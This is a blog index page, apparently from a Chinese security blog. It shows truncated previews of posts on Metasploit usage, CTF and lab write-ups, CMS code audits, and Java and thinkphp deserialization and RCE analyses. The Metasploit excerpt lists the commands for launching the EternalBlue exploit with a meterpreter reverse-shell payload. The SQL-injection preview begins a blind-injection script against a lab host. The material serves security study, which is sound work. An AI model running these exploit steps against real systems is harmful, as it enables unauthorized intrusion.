转载——MSF使用指南
此文章为转载文章
源文章链接如下
https://blog.csdn.net/weixin_45588247/article/details/119614618https://blog.csdn.net/weixin_45588247/article/details/119519411
基础使用msfconsole #进入框架search ms17_010 #使用search命令查找相关漏洞use exploit/windows/smb/ms17_010_eternalblue #使用use进入模块info #查看模块相关信息set payload windows/x64/meterpreter/reverse_tcp #设置攻击载荷(反连)show options #查看模块需要配置的参数set RHOST 192.168.100.158 #设置目标ipexploit /run #开始攻击
不同的攻击用到的步骤也不一样,这不是一成不变的,需要灵活使用。 我们也可以将攻击代码写入configure.rc(只要是以.rc结尾的文件)配置文件中,然 ...
掌控者靶场-尤里的复仇Ⅰ
0x01 为了女神小芳!Tips:
通过sql注入拿到管理员密码!尤里正在追女神小芳,在得知小芳开了一家公司后,尤里通过whois查询发现了小芳公司网站学过一点黑客技术的他,想在女神面前炫炫技。于是他打开了
最基础的sql盲注。
打开靶场链接,是介绍猫舍的博客文章
经过测试,id参数接收用户输入并于数据库交互。
在 and 1=2时查询不到信息,说明and被当作sql语句解析了。可以根据页面回显不同进行sql布尔盲注。
简单写了个sql布尔盲注脚本
import requestsurl = "http://pu2lh35s.ia.aqlab.cn/"result = ""for i in range(1,100): min = 32 max = 128 mid = (min + max) // 2 # 取中间值 while(min<max): # payload = "?id=1 and (ascii(substr((database()),{0}, ...
强网杯2023部分题目复盘
0x01 前言针对其他战队或者师傅写的WP,对印象比较深刻的几个赛题进行复现与总结
0x02 赛题复盘1.thinkshop题目中给有附件,是docker直接导出的环境,执行 docker load 命令后就是题目镜像了,可以进入镜像把题目源码打包下来,进行分析与调试。题目源码打包下来并不是全部能跑,看报错知道要用到一个 Memcached 的缓存插件,我下载这个插件后还是报错,也不知道问题出在哪。
题目后台登录也是我比较迷的一点,有了题目docker环境,可以直接进数据库里看到账号密码
password经过cmd5解密为123456,但是账号密码为 1 123456才能登录到后台
find 应该传键值对进去,但是默认把username字符串传进去了,所以默认是查询主键id(有点迷)
首先发现了在goods.html里有反序列化的操作
可以打反序列化,题目使用了thinkphp框架,并且是5.0.23版本,百度搜索5.0.24 反序列化的链子能用。接着就重点关注$goods[‘data’] 是否可控。
在添加商品里
显而易见的有可能可控的传参点,但是这里是个坑。我们可控 ...
从0学代码审计——DedeCMS-5.5.7-sp2
0x01 前言继续审计和复现框架漏洞了,DedeCMS框架在我之前打鹏城杯的时候遇到过,于是找了个比较老的版本,审计一下漏洞,也算是熟悉一下该CMS的基本结构。
0x02 漏洞审计织梦CMS貌似是基于文件的访问形式,没有像极致CMS那样的路由定义,所以在功能对标实现代码上还是比较轻松的,织梦CMS的基本目录如下
直接开始分析漏洞
cookie伪造导致任意前台用户登录涉及到前台登录,我们就看一下登录的相关代码,在/member/index_do.php文件中
首先会判断验证码是否正确,登录的用户名是否合法,密码是否存在。然后调用 CheckUser 方法检查账号
首先会在数据库查询该用户的相关信息,然后验证密码是否正确,都没问题的话,调用 PutLoginInfo 方法设置登录信息,然后返回1表示登录成功。
在这个函数里,先判断距离上一次登录是否超过两个小时,增加积分,然后更新数据库的登录时间,最后将uid写进cookie里,那这个uid表示的是什么,实际上就是数据表中前面的主键
这里设置了两个cookie,一个是uid,另一个将uid和 $c ...
从0学代码审计——极致CMS v1.9.5
0x01 框架基础环境搭建这块还是比较容易的,github可以下载任意版本的极致CMS,下载源码有注册脚本,本地只需要新建一个数据库即可安装成功。下载链接:https://github.com/Cherry-toto/jizhicms
下载后的目录结构如下:
这块代码的底层使用Frphp框架,该框架目录结构如下:
白盒审计框架首先要弄懂该框架是怎么路由调度的,以及相关业务代码是怎么在游览器通过url访问的。做个测试,通过后台登录的功能调试代码,分析实现登录的业务逻辑是怎么实现的。以上的框架目录中有两个入口文件,分别为index.php和admin.php,前者是前台管理的入口,后者是后台管理的入口。
接下来就分析为什么url是这种格式,在admin.php文件里下断点
实例化核心类,run方法启动程序
跟进 route 方法开始获取路由
从 $_SERVER 获取url,读取webconfig配置文件,检测该url是否允许访问
该框架内置有三种url格式,首先会将这三种url格式与当前url进行匹配,如果匹配不成功,就解析当前的url
清除url的入口文 ...
DASCTF X 0psu3十一月挑战赛 WEB题目复现
0x01 前言十一月的buu比赛没时间打,后续有时间就打算复现了一下,有一道 java 题环境关了没复现成还是挺可惜的。
0x02 题目复现realrce题目附件是源码
node.js写的,主要看app.js的代码
就定义了一个根路由,首先分析这个代码比较关键的点
proc_execSync函数执行命令,将命令执行的结果返回给客户端,所以想要rce,必须对cmd_rce赋值,而cmd_rce属性在代码之前并没有定义,在上面有merge函数处理,可以利用原型链污染对cmd_rce赋值。
在这个函数里cmd_rce的过滤
cmd_rce.replace(/\r?\n/g,"") 替换换行符replace(/[a-zA-Z0-9 ]+=[a-zA-Z0-9 ]+/g,"114514") 替换形如key=value格式的内容replace(/(\$\d+)|(\$SHELL)|(\$_)|(\$\()|(\${)/g,"114514") 替换形如$132等格式的内容replace(/(\'\/)| ...
JDBC反序列化漏洞分析
0x01 JDBC简介Java数据库连接,(Java Database Connectivity,简称JDBC),它是java程序与数据库交互的一组API,它提供了一种标准的方法,使Java应用程序能够执行SQL查询、更新数据库记录以及检索和更新结果集。这些API组要位于JDK的java.sql包中。
JDBC的引入实现了java程序对数据库的便捷访问,通过使用JDBC,可以将sql语句传给任何一种数据库,不必单独写程序访问不同的数据库。
0x02 简单demoJDK并不自带java,sql包,需要写maven来导入
<dependency> <groupId>mysql</groupId> <artifactId>mysql-connector-java</artifactId> <version>8.0.19</version></dependency>
package Jdbc_Connect;import java.sql.*;//导入API所需包public c ...
Nagini 打靶记录
0x01 靶场环境
局域网网段:192.168.111.0/24
攻击机 kali:192.168.111.140/24
目标机 Nagini:192.168.111.134/24
0x02 打靶目标
拿到靶机的三个flag
0x03 信息收集用arp-scan扫描网段存活主机
目标主机为 192.168.111.134,再使用nmap扫描开放的端口以及服务
开放了web以及ssh远程登录服务。游览器访问80端口
打开就一张图片,页面源代码啥都没有
只好扫一下目录了
发现有一个php写的常见的CMS,感觉有戏
这种CMS一般都有后台,继续用dirsearch扫一下该目录下的文件和目录
是扫出来了后台,但是没有账号密码,登录不进去
扫出来还有个备份文件
下载这个备份文件打开,像是CMS的配置文件,里面有mysql数据库相关敏感信息
但是目前来说没什么用,找不到突破口,回头继续看主页面,刚才扫描的还有个txt文件
大概意思就是必须使用http3才能访问quic.nagini.hogwarts这个域名,好家伙,一般的游览器 ...
0ctf-2021 buggyLoader题目复现
0x01 前言鸽了很久的题目,之前就下载附件分析过,但是当时没有学太多java的东西,复现的时候啥都不懂,很难进行下去。现在打算重新捡起这道题,这道java题的质量很高,于是就写下此篇文章记录一下本题复现与分析的过程。
0x02 题目源码分析题目有源码附件,控制器中只定义了一个路由
显而易见的反序列化入口,有一个if判断,这不成问题,只需要在序列化流添加这个字符串和数字就行。
但是它自己重写了一个输入流,我们跟进看一下
在构造方法中获取了一个 URLClassLoader 的类加载器
在 resolveClass 这个类解析方法中用 URLClassLoader 类加载器 调用 loadClass 方法进行加载。在pom.xml中有 commons-collections 的依赖可以打。
0x03 loadClass无法加载数组类的相关分析在学习shiro框架的时候,实际上 CC6 是打不了的,至于为什么,我当时也只是浅浅的了解到 shiro框架自己重写了一个序列化器,不能解析数组,然后构造了一条能用的组合的cc链。但是我现在回头看,发现了一个问题
在利用类加载代码执行的c ...
thinkphp 5.1 rce流程分析
0x01 前言继续分析 thinkphp 框架,本次分析的是 thinkphp 5.1版本的rce漏洞分析。
本篇文章也总结了两种POC,与thinkphp 5.0 也有部分联系。
0x02 thinkphp 路由调度分析我们知道,thinkphp不是基于文件访问,而是基于路由。所以首先要弄清楚thinkphp是怎么实现路由调度的。
thinkphp规定了两种url访问模式,PATHINFO模式和兼容模式。
例如控制器中编写这样的一个方法
URL使用PATHINFO模式访问
1.就是控制器所在的模块名,think就是一个根命名空间
2.就是think类库下名为Index的控制器
3.4和5所对应的就是方法名,参数以及参数值。
再看看URL用兼容模式访问,其实都大同小异
就多了一个s参数,这个参数在上篇分析thinkphp5.0也遇到过,是config类中定义的默认参数。
代码分析使用代码调试分析thinkphp的路由调度
在入口文件处下断点,开始调试
$dispatch默认为空,随即开始路由检测
获取url路径信息,继续跟进到pathinfo方法
我URL使 ...